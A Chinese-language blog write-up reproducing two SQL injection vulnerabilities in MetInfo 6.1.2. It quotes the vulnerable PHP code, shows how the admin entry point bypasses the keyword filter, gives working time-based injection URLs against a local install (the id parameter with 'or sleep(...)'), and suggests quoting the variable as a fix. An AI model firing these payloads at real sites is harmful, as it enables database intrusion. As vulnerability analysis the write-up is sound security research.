Metinfo6.1.2 兩處sql注入分析
Metinfo算是我審的第一個cms吧,前期感覺算是一個寫的不怎麼好的cms,偽全域性變數的問題更是不知道引發了多少次漏洞。還記得那些網上的審計教程,說到變數覆蓋這個問題都是以metinfo來舉例的。但後期逐漸來了次mvc的大換血,框架更新了下,變數問題也得到了相應調整,也算是逐漸在變好吧。
說了那麼多,由於是第一個接觸的cms問題,最近被爆出洞也就跟著一起復現了下(我好菜啊。。反正我就挖不到
SQL%E6%B3%A8%E5%85%A5/">SQL注入1
漏洞出現在 app/system/message/web/message.class.php:37
的 add
函式中
public function add($info) { global $_M; if(!$_M[form][id]){ $message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'"); $_M[form][id]=$message[id]; } $met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' andname= 'met_fd_ok' and columnid = {$_M[form][id]}"); $_M[config][met_fd_ok]= $met_fd_ok[value]; ...
可以看到 {$_M[form][id]}
沒有被單引號包裹起來,從而可能產生注入。
但是是個cms就會存在字串過濾,來看下其中的過濾語句 app/system/include/function/common.func.php:51
function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { if(!defined('IN_ADMIN')){ $string = trim(addslashes(sqlinsert($string))); }else{ $string = trim(addslashes($string)); } } } return $string; }
sqlinsert
函式裡過濾了相當多的sql關鍵字,而且只要匹配到出現,引數就直接返回空(相當暴力了
這樣,就要想辦法繞過 !defined('IN_ADMIN')
限制,全域性搜尋一下這個定義的地方,就可以看到是在 admin/index.php
中
但是直接去訪問 add
模組的時候,就顯示
add function no permission load!!!
是由於其只能呼叫帶 do
的方法,這樣,恰好在 add
函式上方,就存在一個
public function domessage() { global $_M; if($_M['form']['action'] == 'add'){ $this->check_field(); $this->add($_M['form']); }...
恰好呼叫了 $this->add($_M['form']);
, $_M['form']
裡儲存的就是POST和GET傳入的引數
然後就是構造payload,這裡需要繞過 $this->check_field()
的驗證,只要抓取正常留言的引數,就可以繞過,於是payload就變成了如下
http://localhost/metinfo6.1.2/admin/index.php ?m=web &n=message &c=message &a=domessage &action=add ¶137=admin &[email protected] ¶138=15555555555 ¶139=admin ¶140=admin &id=10 or sleep(3)
這裡我直接把sql語句die了出來
可以看到這裡直接拼接到了sql語句中,不過需要控制好sleep的時間,跟資料條數有關,不過這裡只是用於驗證了
而且這裡驗證碼的判斷是在執行這條語句之後,否則,正常情況是要通過驗證碼判斷才能執行語句
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' andname= 'met_fd_ok' and columnid = {$_M[form][id]}"); $_M[config][met_fd_ok]= $met_fd_ok[value]; if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}"); if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){ okinfo(-1, $_M['word']['membercode']); } }
實際情況中,漏洞原作者提供了一個更好的布林盲注方式,可以參考 ofollow,noindex">https://bbs.ichunqiu.com/thread-46687-1-1.html
至於修復的話,就主要就是把 id
變數用單引號引起來就可以了
SQL注入2
這個漏洞和之前的洞很相似了,但是存在限制條件
漏洞發生在 app/system/feedback/web/feedback.class.php:39
public function add($info) { global $_M; $query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'"; $met_fd_ok=DB::get_one($query); $_M[config][met_fd_ok]=$met_fd_ok[value]; if(!$_M[config][met_fd_ok]){ okinfo(-1, $_M['word']['Feedback5']); } if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){ okinfo(-1, $_M['word']['membercode']); } } if($this->checkword() && $this->checktime()){ foreach ($_FILES as $key => $value) { if($value[tmp_name]){ $ret = $this->upfile->upload($key);//上傳檔案 if ($ret['error'] == 0) { $info[$key]=$ret[path]; } else { okinfo('javascript:history.back();',$_M[word][opfailed]); } } } $user = $this->get_login_user_info(); $fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER; $ip=getip(); $feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'"); $_M[config][met_fd_class]=$feedcfg[value]; $fdclass2="para".$_M[config][met_fd_class]; $fdclass=$_M[form][$fdclass2]; $title=$fdclass." - ".$_M[form][fdtitle]; $addtime=date('Y-m-d H:i:s',time()); $met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' andname= 'met_fd_type' and columnid = {$_M[form][id]}"); ....
還是最後一句的sql語句中沒有單引號保護,但是可以看到前面有一個比較頭疼的限制就是驗證碼
if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){ okinfo(-1, $_M['word']['membercode']); } }
我這裡圖個方便,測試的時候就直接把驗證碼部分註釋了
還是和之前一樣的呼叫方式,就可以呼叫到這個 add
方法
需要注意的幾點是, lang=cn
還有 id=44
最後的payload
http://localhost/metinfo6.1.2/admin/index.php ?m=web &n=feedback &c=feedback &a=dofeedback ⟨=cn &id=44 or sleep(0.01) &action=add
實際當中就需要每次輸入驗證碼,還有個120秒的請求限制